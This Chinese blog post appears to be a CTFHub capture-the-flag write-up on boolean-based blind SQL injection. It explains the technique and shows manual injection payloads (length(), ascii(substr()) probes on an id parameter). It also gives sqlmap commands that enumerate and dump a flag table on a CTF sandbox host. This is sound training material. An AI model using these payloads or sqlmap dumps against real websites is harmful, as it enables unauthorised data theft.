CTFHUB-SQL注入-布尔盲注

目录

理论简述

布尔盲注概述

布尔盲注的原理及利用

原理

利用步骤

常见函数及其作用

实战示例

sqlmap工具夺flag

查看数据库名

查看数据库中的表名

查看表中字段名

查看表中数据


理论简述

布尔盲注概述

布尔盲注是一种在SQL注入中使用的技巧,主要用于在没有明显错误信息返回的情况下,通过构造特殊的SQL语句来推测数据库信息。由于某些安全措施的存在,使得传统的SQL注入手法无法获得直接的错误信息,此时就需要使用布尔盲注来间接获取信息。这种方法主要依赖于SQL语句的布尔运算结果,通过观察页面的响应来判断所构建的SQL语句是否执行成功,从而逐步揭示数据库的结构信息。

布尔盲注的原理及利用

原理

布尔盲注的核心原理在于利用SQL语句的布尔判断,通过AND或OR连接条件,并根据页面的响应来判断条件是否成立。当条件为真时,页面通常会正常显示;而为假时,页面可能不显示任何内容或者返回错误信息。通过这种方式,攻击者可以逐步构建并验证一系列的条件语句,逐渐获取数据库的相关信息。

利用步骤
  1. 判断注入点:首先确定输入点是否存在注入,通常通过在URL中加入单引号来测试。
  2. 判断数据库名长度:使用函数结合二分法来猜测数据库名的长度。length()
  3. 猜测数据库名:使用函数和函数组合,逐个猜测数据库名的各个字符。ascii()、substr()
  4. 猜测表的数量:通过函数来估计数据库中表的数量。count()
  5. 猜测表名和字段名:类似数据库名的猜测过程,使用相应的函数逐步缩小范围。
  6. 获取数据:最终,通过构建能够返回数据的SQL语句来获取实际的数据信息。

常见函数及其作用

  • LENGTH():返回字符串的长度。
  • ASCII():返回字符的ASCII码值。
  • SUBSTRING()/SUBSTR():截取字符串。
  • INFORMATION_SCHEMA.TABLES和:用于获取表和列的信息。COLUMNS
  • IF():根据条件返回不同的值。
  • LIKE和:用于模糊匹配模式。REGEXP

实战示例

假设有一个SQL注入点,我们可以通过以下步骤来获取数据库名:

  1. 判断注入点是否存在: ?id=1' and 1=1
  2. 猜测数据库名长度: ?id=1' and length(database())>1
  3. 逐个猜测字符: ?id=1' and ascii(substr(database(),1,1))>97
  4. 重复上述步骤,直到确定每个字符的ASCII码。

通过这种方式,我们可以逐步构建出完整的数据库名,例如:sqli

sqlmap工具夺flag

可以使用 sqlmap 工具爆破,也可以手动注入,手动注入比较费时,效率低,在这里我们使用工具找我们的flag(没有sqlmap工具点击🚀🚀🚀直达下载安装使用教程)

查看数据库名

python sqlmap.py -u "http://challenge-561e0e1cb4c75169.sandbox.ctfhub.com:10800/?id=1" --current-db

查看数据库中的表名

python sqlmap.py -u "http://challenge-561e0e1cb4c75169.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables

查看表中字段名

python sqlmap.py -u "http://challenge-561e0e1cb4c75169.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --columns

查看表中数据

python sqlmap.py -u "http://challenge-561e0e1cb4c75169.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag -C flag --dump --batch

  • 10
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值